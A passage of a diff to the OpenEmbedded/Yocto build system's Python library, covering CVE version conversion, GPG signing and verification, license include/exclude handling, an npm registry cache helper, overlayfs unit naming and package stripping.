+ for product in output["package"]:
+ if product["name"] == data["package"][0]["name"]:
+ bb.error("Error adding the same package %s twice" % product["name"])
+ return
+
+ output["package"].append(data["package"][0])
+
+def update_symlinks(target_path, link_path):
+ """
+ Update a symbolic link link_path to point to target_path.
+ Remove the link and recreate it if exist and is different.
+ """
+ if link_path != target_path and os.path.exists(target_path):
+ if os.path.exists(os.path.realpath(link_path)):
+ os.remove(link_path)
+ os.symlink(os.path.basename(target_path), link_path)
+
+
+def convert_cve_version(version):
+ """
+ This function converts from CVE format to Yocto version format.
+ eg 8.3_p1 -> 8.3p1, 6.2_rc1 -> 6.2-rc1
+
+ Unless it is redefined using CVE_VERSION in the recipe,
+ cve_check uses the version in the name of the recipe (${PV})
+ to check vulnerabilities against a CVE in the database downloaded from NVD.
+
+ When the version has an update, i.e.
+ "p1" in OpenSSH 8.3p1,
+ "-rc1" in linux kernel 6.2-rc1,
+ the database stores the version as version_update (8.3_p1, 6.2_rc1).
+ Therefore, we must transform this version before comparing to the
+ recipe version.
+
+ In this case, the parameter of the function is 8.3_p1.
+ If the version uses the Release Candidate format, "rc",
+ this function replaces the '_' by '-'.
+ If the version uses the Update format, "p",
+ this function removes the '_' completely.
+ """
+ import re
+
+ matches = re.match('^([0-9.]+)_((p|rc)[0-9]+)$', version)
+
+ if not matches:
+ return version
+
+ version = matches.group(1)
+ update = matches.group(2)
+
+ if matches.group(3) == "rc":
+ return version + '-' + update
+
+ return version + update
+
+def decode_cve_status(d, cve):
+ """
+ Convert CVE_STATUS into status, detail and description.
+ """
+ status = d.getVarFlag("CVE_STATUS", cve)
+ if not status:
+ return ("", "", "")
+
+ status_split = status.split(':', 1)
+ detail = status_split[0]
+ description = status_split[1].strip() if (len(status_split) > 1) else ""
+
+ status_mapping = d.getVarFlag("CVE_CHECK_STATUSMAP", detail)
+ if status_mapping is None:
+ bb.warn('Invalid detail "%s" for CVE_STATUS[%s] = "%s", fallback to Unpatched' % (detail, cve, status))
+ status_mapping = "Unpatched"
+
+ return (status_mapping, detail, description)
diff --git a/meta/lib/oe/data.py b/meta/lib/oe/data.py
index 602130a904..37121cfad2 100644
--- a/meta/lib/oe/data.py
+++ b/meta/lib/oe/data.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
diff --git a/meta/lib/oe/distro_check.py b/meta/lib/oe/distro_check.py
index 88e46c354d..3494520f40 100644
--- a/meta/lib/oe/distro_check.py
+++ b/meta/lib/oe/distro_check.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -26,7 +28,7 @@ def find_latest_numeric_release(url, d):
maxstr=""
for link in get_links_from_url(url, d):
try:
- # TODO use LooseVersion
+ # TODO use bb.utils.vercmp_string_op()
release = float(link)
except:
release = 0
diff --git a/meta/lib/oe/elf.py b/meta/lib/oe/elf.py
index df0a4593fa..eab2349a4f 100644
--- a/meta/lib/oe/elf.py
+++ b/meta/lib/oe/elf.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -19,6 +21,7 @@ def machine_dict(d):
"x86_64": (62, 0, 0, True, 64),
"epiphany": (4643, 0, 0, True, 32),
"lm32": (138, 0, 0, False, 32),
+ "loongarch64":(258, 0, 0, True, 64),
"mips": ( 8, 0, 0, False, 32),
"mipsel": ( 8, 0, 0, True, 32),
"microblaze": (189, 0, 0, False, 32),
@@ -43,6 +46,7 @@ def machine_dict(d):
"ia64": (50, 0, 0, True, 64),
"alpha": (36902, 0, 0, True, 64),
"hppa": (15, 3, 0, False, 32),
+ "loongarch64":(258, 0, 0, True, 64),
"m68k": ( 4, 0, 0, False, 32),
"mips": ( 8, 0, 0, False, 32),
"mipsel": ( 8, 0, 0, True, 32),
@@ -61,6 +65,14 @@ def machine_dict(d):
"microblaze": (189, 0, 0, False, 32),
"microblazeel":(189, 0, 0, True, 32),
},
+ "linux-android" : {
+ "aarch64" : (183, 0, 0, True, 64),
+ "i686": ( 3, 0, 0, True, 32),
+ "x86_64": (62, 0, 0, True, 64),
+ },
+ "linux-androideabi" : {
+ "arm" : (40, 97, 0, True, 32),
+ },
"linux-musl" : {
"aarch64" : (183, 0, 0, True, 64),
"aarch64_be" :(183, 0, 0, False, 64),
diff --git a/meta/lib/oe/go.py b/meta/lib/oe/go.py
new file mode 100644
index 0000000000..dfd957d157
--- /dev/null
+++ b/meta/lib/oe/go.py
@@ -0,0 +1,34 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import re
+
+def map_arch(a):
+ if re.match('i.86', a):
+ return '386'
+ elif a == 'x86_64':
+ return 'amd64'
+ elif re.match('arm.*', a):
+ return 'arm'
+ elif re.match('aarch64.*', a):
+ return 'arm64'
+ elif re.match('mips64el.*', a):
+ return 'mips64le'
+ elif re.match('mips64.*', a):
+ return 'mips64'
+ elif a == 'mips':
+ return 'mips'
+ elif a == 'mipsel':
+ return 'mipsle'
+ elif re.match('p(pc|owerpc)(64le)', a):
+ return 'ppc64le'
+ elif re.match('p(pc|owerpc)(64)', a):
+ return 'ppc64'
+ elif a == 'riscv64':
+ return 'riscv64'
+ elif a == 'loongarch64':
+ return 'loong64'
+ return ''
diff --git a/meta/lib/oe/gpg_sign.py b/meta/lib/oe/gpg_sign.py
index 7634d7ef1d..ede6186c84 100644
--- a/meta/lib/oe/gpg_sign.py
+++ b/meta/lib/oe/gpg_sign.py
@@ -1,13 +1,16 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
"""Helper module for GPG signing"""
-import os
import bb
-import subprocess
+import os
import shlex
+import subprocess
+import tempfile
class LocalSigner(object):
"""Class for handling local (on the build host) signing"""
@@ -58,7 +61,7 @@ class LocalSigner(object):
for i in range(0, len(files), sign_chunk):
subprocess.check_output(shlex.split(cmd + ' '.join(files[i:i+sign_chunk])), stderr=subprocess.STDOUT)
- def detach_sign(self, input_file, keyid, passphrase_file, passphrase=None, armor=True):
+ def detach_sign(self, input_file, keyid, passphrase_file, passphrase=None, armor=True, output_suffix=None, use_sha256=False):
"""Create a detached signature of a file"""
if passphrase_file and passphrase:
@@ -71,25 +74,35 @@ class LocalSigner(object):
cmd += ['--homedir', self.gpg_path]
if armor:
cmd += ['--armor']
+ if use_sha256:
+ cmd += ['--digest-algo', "SHA256"]
#gpg > 2.1 supports password pipes only through the loopback interface
#gpg < 2.1 errors out if given unknown parameters
if self.gpg_version > (2,1,):
cmd += ['--pinentry-mode', 'loopback']
- cmd += [input_file]
-
try:
if passphrase_file:
with open(passphrase_file) as fobj:
passphrase = fobj.readline();
- job = subprocess.Popen(cmd, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
- (_, stderr) = job.communicate(passphrase.encode("utf-8"))
+ if not output_suffix:
+ output_suffix = 'asc' if armor else 'sig'
+ output_file = input_file + "." + output_suffix
+ with tempfile.TemporaryDirectory(dir=os.path.dirname(output_file)) as tmp_dir:
+ tmp_file = os.path.join(tmp_dir, os.path.basename(output_file))
+ cmd += ['-o', tmp_file]
+
+ cmd += [input_file]
+
+ job = subprocess.Popen(cmd, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
+ (_, stderr) = job.communicate(passphrase.encode("utf-8"))
- if job.returncode:
- bb.fatal("GPG exited with code %d: %s" % (job.returncode, stderr.decode("utf-8")))
+ if job.returncode:
+ bb.fatal("GPG exited with code %d: %s" % (job.returncode, stderr.decode("utf-8")))
+ os.rename(tmp_file, output_file)
except IOError as e:
bb.error("IO error (%s): %s" % (e.errno, e.strerror))
raise Exception("Failed to sign '%s'" % input_file)
@@ -109,16 +122,33 @@ class LocalSigner(object):
bb.fatal("Could not get gpg version: %s" % e)
- def verify(self, sig_file):
+ def verify(self, sig_file, valid_sigs = ''):
"""Verify signature"""
- cmd = self.gpg_cmd + [" --verify", "--no-permission-warning"]
+ cmd = self.gpg_cmd + ["--verify", "--no-permission-warning", "--status-fd", "1"]
if self.gpg_path:
cmd += ["--homedir", self.gpg_path]
cmd += [sig_file]
- status = subprocess.call(cmd)
- ret = False if status else True
- return ret
+ status = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ # Valid if any key matches if unspecified
+ if not valid_sigs:
+ ret = False if status.returncode else True
+ return ret
+
+ import re
+ goodsigs = []
+ sigre = re.compile(r'^\[GNUPG:\] GOODSIG (\S+)\s(.*)$')
+ for l in status.stdout.decode("utf-8").splitlines():
+ s = sigre.match(l)
+ if s:
+ goodsigs += [s.group(1)]
+
+ for sig in valid_sigs.split():
+ if sig in goodsigs:
+ return True
+ if len(goodsigs):
+ bb.warn('No accepted signatures found. Good signatures found: %s.' % ' '.join(goodsigs))
+ return False
def get_signer(d, backend):
diff --git a/meta/lib/oe/license.py b/meta/lib/oe/license.py
index c1274a61de..d9c8d94da4 100644
--- a/meta/lib/oe/license.py
+++ b/meta/lib/oe/license.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
"""Code for parsing OpenEmbedded license strings"""
@@ -10,17 +12,20 @@ from fnmatch import fnmatchcase as fnmatch
def license_ok(license, dont_want_licenses):
""" Return False if License exist in dont_want_licenses else True """
for dwl in dont_want_licenses:
- # If you want to exclude license named generically 'X', we
- # surely want to exclude 'X+' as well. In consequence, we
- # will exclude a trailing '+' character from LICENSE in
- # case INCOMPATIBLE_LICENSE is not a 'X+' license.
- lic = license
- if not re.search(r'\+$', dwl):
- lic = re.sub(r'\+', '', license)
- if fnmatch(lic, dwl):
+ if fnmatch(license, dwl):
return False
return True
+def obsolete_license_list():
+ return ["AGPL-3", "AGPL-3+", "AGPLv3", "AGPLv3+", "AGPLv3.0", "AGPLv3.0+", "AGPL-3.0", "AGPL-3.0+", "BSD-0-Clause",
+ "GPL-1", "GPL-1+", "GPLv1", "GPLv1+", "GPLv1.0", "GPLv1.0+", "GPL-1.0", "GPL-1.0+", "GPL-2", "GPL-2+", "GPLv2",
+ "GPLv2+", "GPLv2.0", "GPLv2.0+", "GPL-2.0", "GPL-2.0+", "GPL-3", "GPL-3+", "GPLv3", "GPLv3+", "GPLv3.0", "GPLv3.0+",
+ "GPL-3.0", "GPL-3.0+", "LGPLv2", "LGPLv2+", "LGPLv2.0", "LGPLv2.0+", "LGPL-2.0", "LGPL-2.0+", "LGPL2.1", "LGPL2.1+",
+ "LGPLv2.1", "LGPLv2.1+", "LGPL-2.1", "LGPL-2.1+", "LGPLv3", "LGPLv3+", "LGPL-3.0", "LGPL-3.0+", "MPL-1", "MPLv1",
+ "MPLv1.1", "MPLv2", "MIT-X", "MIT-style", "openssl", "PSF", "PSFv2", "Python-2", "Apachev2", "Apache-2", "Artisticv1",
+ "Artistic-1", "AFL-2", "AFL-1", "AFLv2", "AFLv1", "CDDLv1", "CDDL-1", "EPLv1.0", "FreeType", "Nauman",
+ "tcl", "vim", "SGIv1"]
+
class LicenseError(Exception):
pass
@@ -81,6 +86,9 @@ class FlattenVisitor(LicenseVisitor):
def visit_Str(self, node):
self.licenses.append(node.s)
+ def visit_Constant(self, node):
+ self.licenses.append(node.value)
+
def visit_BinOp(self, node):
if isinstance(node.op, ast.BitOr):
left = FlattenVisitor(self.choose_licenses)
@@ -103,26 +111,26 @@ def flattened_licenses(licensestr, choose_licenses):
raise LicenseSyntaxError(licensestr, exc)
return flatten.licenses
-def is_included(licensestr, whitelist=None, blacklist=None):
- """Given a license string and whitelist and blacklist, determine if the
- license string matches the whitelist and does not match the blacklist.
+def is_included(licensestr, include_licenses=None, exclude_licenses=None):
+ """Given a license string, a list of licenses to include and a list of
+ licenses to exclude, determine if the license string matches the include
+ list and does not match the exclude list.
Returns a tuple holding the boolean state and a list of the applicable
licenses that were excluded if state is False, or the licenses that were
- included if the state is True.
- """
+ included if the state is True."""
def include_license(license):
- return any(fnmatch(license, pattern) for pattern in whitelist)
+ return any(fnmatch(license, pattern) for pattern in include_licenses)
def exclude_license(license):
- return any(fnmatch(license, pattern) for pattern in blacklist)
+ return any(fnmatch(license, pattern) for pattern in exclude_licenses)
def choose_licenses(alpha, beta):
"""Select the option in an OR which is the 'best' (has the most
included licenses and no excluded licenses)."""
# The factor 1000 below is arbitrary, just expected to be much larger
- # that the number of licenses actually specified. That way the weight
+ # than the number of licenses actually specified. That way the weight
# will be negative if the list of licenses contains an excluded license,
# but still gives a higher weight to the list with the most included
# licenses.
@@ -135,11 +143,11 @@ def is_included(licensestr, whitelist=None, blacklist=None):
else:
return beta
- if not whitelist:
- whitelist = ['*']
+ if not include_licenses:
+ include_licenses = ['*']
- if not blacklist:
- blacklist = []
+ if not exclude_licenses:
+ exclude_licenses = []
licenses = flattened_licenses(licensestr, choose_licenses)
excluded = [lic for lic in licenses if exclude_license(lic)]
@@ -234,6 +242,9 @@ class ListVisitor(LicenseVisitor):
def visit_Str(self, node):
self.licenses.add(node.s)
+ def visit_Constant(self, node):
+ self.licenses.add(node.value)
+
def list_licenses(licensestr):
"""Simply get a list of all licenses mentioned in a license string.
Binary operators are not applied or taken into account in any way"""
@@ -243,3 +254,8 @@ def list_licenses(licensestr):
except SyntaxError as exc:
raise LicenseSyntaxError(licensestr, exc)
return visitor.licenses
+
+def apply_pkg_license_exception(pkg, bad_licenses, exceptions):
+ """Return remaining bad licenses after removing any package exceptions"""
+
+ return [lic for lic in bad_licenses if pkg + ':' + lic not in exceptions]
diff --git a/meta/lib/oe/lsb.py b/meta/lib/oe/lsb.py
index 43e46380d7..3ec03e5042 100644
--- a/meta/lib/oe/lsb.py
+++ b/meta/lib/oe/lsb.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
diff --git a/meta/lib/oe/maketype.py b/meta/lib/oe/maketype.py
index d929c8b3e5..7a83bdf602 100644
--- a/meta/lib/oe/maketype.py
+++ b/meta/lib/oe/maketype.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
"""OpenEmbedded variable typing support
@@ -10,12 +12,7 @@ the arguments of the type's factory for details.
import inspect
import oe.types as types
-try:
- # Python 3.7+
- from collections.abc import Callable
-except ImportError:
- # Python < 3.7
- from collections import Callable
+from collections.abc import Callable
available_types = {}
diff --git a/meta/lib/oe/manifest.py b/meta/lib/oe/manifest.py
index 47bd622412..61f18adc4a 100644
--- a/meta/lib/oe/manifest.py
+++ b/meta/lib/oe/manifest.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -191,14 +193,8 @@ class Manifest(object, metaclass=ABCMeta):
def create_manifest(d, final_manifest=False, manifest_dir=None,
manifest_type=Manifest.MANIFEST_TYPE_IMAGE):
- from oe.package_manager.rpm.manifest import RpmManifest
- from oe.package_manager.ipk.manifest import OpkgManifest
- from oe.package_manager.deb.manifest import DpkgManifest
- manifest_map = {'rpm': RpmManifest,
- 'ipk': OpkgManifest,
- 'deb': DpkgManifest}
-
- manifest = manifest_map[d.getVar('IMAGE_PKGTYPE')](d, manifest_dir, manifest_type)
+ import importlib
+ manifest = importlib.import_module('oe.package_manager.' + d.getVar('IMAGE_PKGTYPE') + '.manifest').PkgManifest(d, manifest_dir, manifest_type)
if final_manifest:
manifest.create_final()
diff --git a/meta/lib/oe/npm_registry.py b/meta/lib/oe/npm_registry.py
new file mode 100644
index 0000000000..d97ced7cda
--- /dev/null
+++ b/meta/lib/oe/npm_registry.py
@@ -0,0 +1,175 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import bb
+import json
+import subprocess
+
+_ALWAYS_SAFE = frozenset('ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+ 'abcdefghijklmnopqrstuvwxyz'
+ '0123456789'
+ '_.-~()')
+
+MISSING_OK = object()
+
+REGISTRY = "https://registry.npmjs.org"
+
+# we can not use urllib.parse here because npm expects lowercase
+# hex-chars but urllib generates uppercase ones
+def uri_quote(s, safe = '/'):
+ res = ""
+ safe_set = set(safe)
+ for c in s:
+ if c in _ALWAYS_SAFE or c in safe_set:
+ res += c
+ else:
+ res += '%%%02x' % ord(c)
+ return res
+
+class PackageJson:
+ def __init__(self, spec):
+ self.__spec = spec
+
+ @property
+ def name(self):
+ return self.__spec['name']
+
+ @property
+ def version(self):
+ return self.__spec['version']
+
+ @property
+ def empty_manifest(self):
+ return {
+ 'name': self.name,
+ 'description': self.__spec.get('description', ''),
+ 'versions': {},
+ }
+
+ def base_filename(self):
+ return uri_quote(self.name, safe = '@')
+
+ def as_manifest_entry(self, tarball_uri):
+ res = {}
+
+ ## NOTE: 'npm install' requires more than basic meta information;
+ ## e.g. it takes 'bin' from this manifest entry but not the actual
+ ## 'package.json'
+ for (idx,dflt) in [('name', None),
+ ('description', ""),
+ ('version', None),
+ ('bin', MISSING_OK),
+ ('man', MISSING_OK),
+ ('scripts', MISSING_OK),
+ ('directories', MISSING_OK),
+ ('dependencies', MISSING_OK),
+ ('devDependencies', MISSING_OK),
+ ('optionalDependencies', MISSING_OK),
+ ('license', "unknown")]:
+ if idx in self.__spec:
+ res[idx] = self.__spec[idx]
+ elif dflt == MISSING_OK:
+ pass
+ elif dflt != None:
+ res[idx] = dflt
+ else:
+ raise Exception("%s-%s: missing key %s" % (self.name,
+ self.version,
+ idx))
+
+ res['dist'] = {
+ 'tarball': tarball_uri,
+ }
+
+ return res
+
+class ManifestImpl:
+ def __init__(self, base_fname, spec):
+ self.__base = base_fname
+ self.__spec = spec
+
+ def load(self):
+ try:
+ with open(self.filename, "r") as f:
+ res = json.load(f)
+ except IOError:
+ res = self.__spec.empty_manifest
+
+ return res
+
+ def save(self, meta):
+ with open(self.filename, "w") as f:
+ json.dump(meta, f, indent = 2)
+
+ @property
+ def filename(self):
+ return self.__base + ".meta"
+
+class Manifest:
+ def __init__(self, base_fname, spec):
+ self.__base = base_fname
+ self.__spec = spec
+ self.__lockf = None
+ self.__impl = None
+
+ def __enter__(self):
+ self.__lockf = bb.utils.lockfile(self.__base + ".lock")
+ self.__impl = ManifestImpl(self.__base, self.__spec)
+ return self.__impl
+
+ def __exit__(self, exc_type, exc_val, exc_tb):
+ bb.utils.unlockfile(self.__lockf)
+
+class NpmCache:
+ def __init__(self, cache):
+ self.__cache = cache
+
+ @property
+ def path(self):
+ return self.__cache
+
+ def run(self, type, key, fname):
+ subprocess.run(['oe-npm-cache', self.__cache, type, key, fname],
+ check = True)
+
+class NpmRegistry:
+ def __init__(self, path, cache):
+ self.__path = path
+ self.__cache = NpmCache(cache + '/_cacache')
+ bb.utils.mkdirhier(self.__path)
+ bb.utils.mkdirhier(self.__cache.path)
+
+ @staticmethod
+ ## This function is critical and must match nodejs expectations
+ def _meta_uri(spec):
+ return REGISTRY + '/' + uri_quote(spec.name, safe = '@')
+
+ @staticmethod
+ ## Exact return value does not matter; just make it look like a
+ ## usual registry url
+ def _tarball_uri(spec):
+ return '%s/%s/-/%s-%s.tgz' % (REGISTRY,
+ uri_quote(spec.name, safe = '@'),
+ uri_quote(spec.name, safe = '@/'),
+ spec.version)
+
+ def add_pkg(self, tarball, pkg_json):
+ pkg_json = PackageJson(pkg_json)
+ base = os.path.join(self.__path, pkg_json.base_filename())
+
+ with Manifest(base, pkg_json) as manifest:
+ meta = manifest.load()
+ tarball_uri = self._tarball_uri(pkg_json)
+
+ meta['versions'][pkg_json.version] = pkg_json.as_manifest_entry(tarball_uri)
+
+ manifest.save(meta)
+
+ ## Cache entries are a little bit dependent on the nodejs
+ ## version; version specific cache implementation must
+ ## mitigate differences
+ self.__cache.run('meta', self._meta_uri(pkg_json), manifest.filename);
+ self.__cache.run('tgz', tarball_uri, tarball);
diff --git a/meta/lib/oe/overlayfs.py b/meta/lib/oe/overlayfs.py
new file mode 100644
index 0000000000..8b88900f71
--- /dev/null
+++ b/meta/lib/oe/overlayfs.py
@@ -0,0 +1,54 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+# This file contains common functions for overlayfs and its QA check
+
+# this function is based on https://github.com/systemd/systemd/blob/main/src/basic/unit-name.c
+def escapeSystemdUnitName(path):
+ escapeMap = {
+ '/': '-',
+ '-': "\\x2d",
+ '\\': "\\x5d"
+ }
+ return "".join([escapeMap.get(c, c) for c in path.strip('/')])
+
+def strForBash(s):
+ return s.replace('\\', '\\\\')
+
+def allOverlaysUnitName(d):
+ return d.getVar('PN') + '-overlays.service'
+
+def mountUnitName(unit):
+ return escapeSystemdUnitName(unit) + '.mount'
+
+def helperUnitName(unit):
+ return escapeSystemdUnitName(unit) + '-create-upper-dir.service'
+
+def unitFileList(d):
+ fileList = []
+ overlayMountPoints = d.getVarFlags("OVERLAYFS_MOUNT_POINT")
+
+ if not overlayMountPoints:
+ bb.fatal("A recipe uses overlayfs class but there is no OVERLAYFS_MOUNT_POINT set in your MACHINE configuration")
+
+ # check that we have required mount points set first
+ requiredMountPoints = d.getVarFlags('OVERLAYFS_WRITABLE_PATHS')
+ for mountPoint in requiredMountPoints:
+ if mountPoint not in overlayMountPoints:
+ bb.fatal("Missing required mount point for OVERLAYFS_MOUNT_POINT[%s] in your MACHINE configuration" % mountPoint)
+
+ for mountPoint in overlayMountPoints:
+ mountPointList = d.getVarFlag('OVERLAYFS_WRITABLE_PATHS', mountPoint)
+ if not mountPointList:
+ bb.debug(1, "No mount points defined for %s flag, don't add to file list", mountPoint)
+ continue
+ for path in mountPointList.split():
+ fileList.append(mountUnitName(path))
+ fileList.append(helperUnitName(path))
+
+ fileList.append(allOverlaysUnitName(d))
+
+ return fileList
+
diff --git a/meta/lib/oe/package.py b/meta/lib/oe/package.py
index dd700cbb0c..1511ba47c4 100644
--- a/meta/lib/oe/package.py
+++ b/meta/lib/oe/package.py
@@ -1,11 +1,22 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
+import errno
+import fnmatch
+import itertools
+import os
+import shlex
+import re
+import glob
import stat
import mmap
import subprocess
+import oe.cachedpath
+
def runstrip(arg):
# Function to strip a single file, called from split_and_strip_files below
# A working 'file' (one which works on the target architecture)
@@ -16,7 +27,11 @@ def runstrip(arg):
# 8 - shared library
# 16 - kernel module
- (file, elftype, strip) = arg
+ if len(arg) == 3:
+ (file, elftype, strip) = arg
+ extra_strip_sections = ''
+ else:
+ (file, elftype, strip, extra_strip_sections) = arg
newmode = None
if not os.access(file, os.W_OK) or os.access(file, os.R_OK):
@@ -26,7 +41,7 @@ def runstrip(arg):
stripcmd = [strip]
skip_strip = False
- # kernel module
+ # kernel module
if elftype & 16:
if is_kernel_module_signed(file):
bb.debug(1, "Skip strip on signed module %s" % file)
@@ -40,6 +55,9 @@ def runstrip(arg):
# shared or executable:
elif elftype & 8 or elftype & 4:
stripcmd.extend(["--remove-section=.comment", "--remove-section=.note"])
+ if extra_strip_sections != '':
+ for section in extra_strip_sections.split():
+ stripcmd.extend(["--remove-section=" + section])
stripcmd.append(file)
bb.debug(1, "runstrip: %s" % stripcmd)
@@ -96,7 +114,7 @@ def is_static_lib(path):
return start == magic
return False
-def strip_execs(pn, dstdir, strip_cmd, libdir, base_libdir, d, qa_already_stripped=False):
+def strip_execs(pn, dstdir, strip_cmd, libdir, base_libdir, max_process, qa_already_stripped=False):
"""
Strip executable code (like executables, shared libraries) _in_place_
- Based on sysroot_strip in staging.bbclass
@@ -104,6 +122,7 @@ def strip_execs(pn, dstdir, strip_cmd, libdir, base_libdir, d, qa_already_stripp
:param strip_cmd: Strip command (usually ${STRIP})
:param libdir: ${libdir} - strip .so files in this directory
:param base_libdir: ${base_libdir} - strip .so files in this directory
+ :param max_process: number of stripping processes started in parallel
:param qa_already_stripped: Set to True if already-stripped' in ${INSANE_SKIP}
This is for proper logging and messages only.
"""
@@ -146,7 +165,7 @@ def strip_execs(pn, dstdir, strip_cmd, libdir, base_libdir, d, qa_already_stripp
# ...but is it ELF, and is it already stripped?
checkelf.append(file)
inodecache[file] = s.st_ino
- results = oe.utils.multiprocess_launch(is_elf, checkelf, d)
+ results = oe.utils.multiprocess_launch_mp(is_elf, checkelf, max_process)
for (file, elf_file) in results:
#elf_file = is_elf(file)
if elf_file & 1:
@@ -174,7 +193,7 @@ def strip_execs(pn, dstdir, strip_cmd, libdir, base_libdir, d, qa_already_stripp
elf_file = int(elffiles[file])
sfiles.append((file, elf_file, strip_cmd))
- oe.utils.multiprocess_launch(runstrip, sfiles, d)
+ oe.utils.multiprocess_launch_mp(runstrip, sfiles, max_process)
def file_translate(file):
@@ -283,3 +302,1725 @@ def read_shlib_providers(d):
shlib_provider[s[0]] = {}
shlib_provider[s[0]][s[1]] = (dep_pkg, s[2])
return shlib_provider
+
+# We generate a master list of directories to process, we start by
+# seeding this list with reasonable defaults, then load from
+# the fs-perms.txt files
+def fixup_perms(d):
+ import pwd, grp
+
+ cpath = oe.cachedpath.CachedPath()
+ dvar = d.getVar('PKGD')
+
+ # init using a string with the same format as a line as documented in
+ # the fs-perms.txt file
+ # <path> <mode> <uid> <gid> <walk> <fmode> <fuid> <fgid>
+ # <path> link <link target>
+ #
+ # __str__ can be used to print out an entry in the input format
+ #
+ # if fs_perms_entry.path is None:
+ # an error occurred
+ # if fs_perms_entry.link, you can retrieve:
+ # fs_perms_entry.path = path
+ # fs_perms_entry.link = target of link
+ # if not fs_perms_entry.link, you can retrieve:
+ # fs_perms_entry.path = path
+ # fs_perms_entry.mode = expected dir mode or None
+ # fs_perms_entry.uid = expected uid or -1
+ # fs_perms_entry.gid = expected gid or -1
+ # fs_perms_entry.walk = 'true' or something else
+ # fs_perms_entry.fmode = expected file mode or None
+ # fs_perms_entry.fuid = expected file uid or -1
+ # fs_perms_entry_fgid = expected file gid or -1
+ class fs_perms_entry():
+ def __init__(self, line):
+ lsplit = line.split()
+ if len(lsplit) == 3 and lsplit[1].lower() == "link":
+ self._setlink(lsplit[0], lsplit[2])
+ elif len(lsplit) == 8:
+ self._setdir(lsplit[0], lsplit[1], lsplit[2], lsplit[3], lsplit[4], lsplit[5], lsplit[6], lsplit[7])
+ else:
+ msg = "Fixup Perms: invalid config line %s" % line
+ oe.qa.handle_error("perm-config", msg, d)
+ self.path = None
+ self.link = None
+
+ def _setdir(self, path, mode, uid, gid, walk, fmode, fuid, fgid):
+ self.path = os.path.normpath(path)
+ self.link = None
+ self.mode = self._procmode(mode)
+ self.uid = self._procuid(uid)
+ self.gid = self._procgid(gid)
+ self.walk = walk.lower()
+ self.fmode = self._procmode(fmode)
+ self.fuid = self._procuid(fuid)
+ self.fgid = self._procgid(fgid)
+
+ def _setlink(self, path, link):
+ self.path = os.path.normpath(path)
+ self.link = link
+
+ def _procmode(self, mode):
+ if not mode or (mode and mode == "-"):
+ return None
+ else:
+ return int(mode,8)
+
+ # Note uid/gid -1 has special significance in os.lchown
+ def _procuid(self, uid):
+ if uid is None or uid == "-":
+ return -1
+ elif uid.isdigit():
+ return int(uid)
+ else:
+ return pwd.getpwnam(uid).pw_uid
+
+ def _procgid(self, gid):
+ if gid is None or gid == "-":
+ return -1
+ elif gid.isdigit():
+ return int(gid)
+ else:
+ return grp.getgrnam(gid).gr_gid
+
+ # Use for debugging the entries
+ def __str__(self):
+ if self.link:
+ return "%s link %s" % (self.path, self.link)
+ else:
+ mode = "-"
+ if self.mode:
+ mode = "0%o" % self.mode
+ fmode = "-"
+ if self.fmode:
+ fmode = "0%o" % self.fmode
+ uid = self._mapugid(self.uid)
+ gid = self._mapugid(self.gid)
+ fuid = self._mapugid(self.fuid)
+ fgid = self._mapugid(self.fgid)
+ return "%s %s %s %s %s %s %s %s" % (self.path, mode, uid, gid, self.walk, fmode, fuid, fgid)
+
+ def _mapugid(self, id):
+ if id is None or id == -1:
+ return "-"
+ else:
+ return "%d" % id
+
+ # Fix the permission, owner and group of path
+ def fix_perms(path, mode, uid, gid, dir):
+ if mode and not os.path.islink(path):
+ #bb.note("Fixup Perms: chmod 0%o %s" % (mode, dir))
+ os.chmod(path, mode)
+ # -1 is a special value that means don't change the uid/gid
+ # if they are BOTH -1, don't bother to lchown
+ if not (uid == -1 and gid == -1):
+ #bb.note("Fixup Perms: lchown %d:%d %s" % (uid, gid, dir))
+ os.lchown(path, uid, gid)
+
+ # Return a list of configuration files based on either the default
+ # files/fs-perms.txt or the contents of FILESYSTEM_PERMS_TABLES
+ # paths are resolved via BBPATH
+ def get_fs_perms_list(d):
+ str = ""
+ bbpath = d.getVar('BBPATH')
+ fs_perms_tables = d.getVar('FILESYSTEM_PERMS_TABLES') or ""
+ for conf_file in fs_perms_tables.split():
+ confpath = bb.utils.which(bbpath, conf_file)
+ if confpath:
+ str += " %s" % bb.utils.which(bbpath, conf_file)
+ else:
+ bb.warn("cannot find %s specified in FILESYSTEM_PERMS_TABLES" % conf_file)
+ return str
+
+ fs_perms_table = {}
+ fs_link_table = {}
+
+ # By default all of the standard directories specified in
+ # bitbake.conf will get 0755 root:root.
+ target_path_vars = [ 'base_prefix',
+ 'prefix',
+ 'exec_prefix',
+ 'base_bindir',
+ 'base_sbindir',
+ 'base_libdir',
+ 'datadir',
+ 'sysconfdir',
+ 'servicedir',
+ 'sharedstatedir',
+ 'localstatedir',
+ 'infodir',
+ 'mandir',
+ 'docdir',
+ 'bindir',
+ 'sbindir',
+ 'libexecdir',
+ 'libdir',
+ 'includedir' ]
+
+ for path in target_path_vars:
+ dir = d.getVar(path) or ""
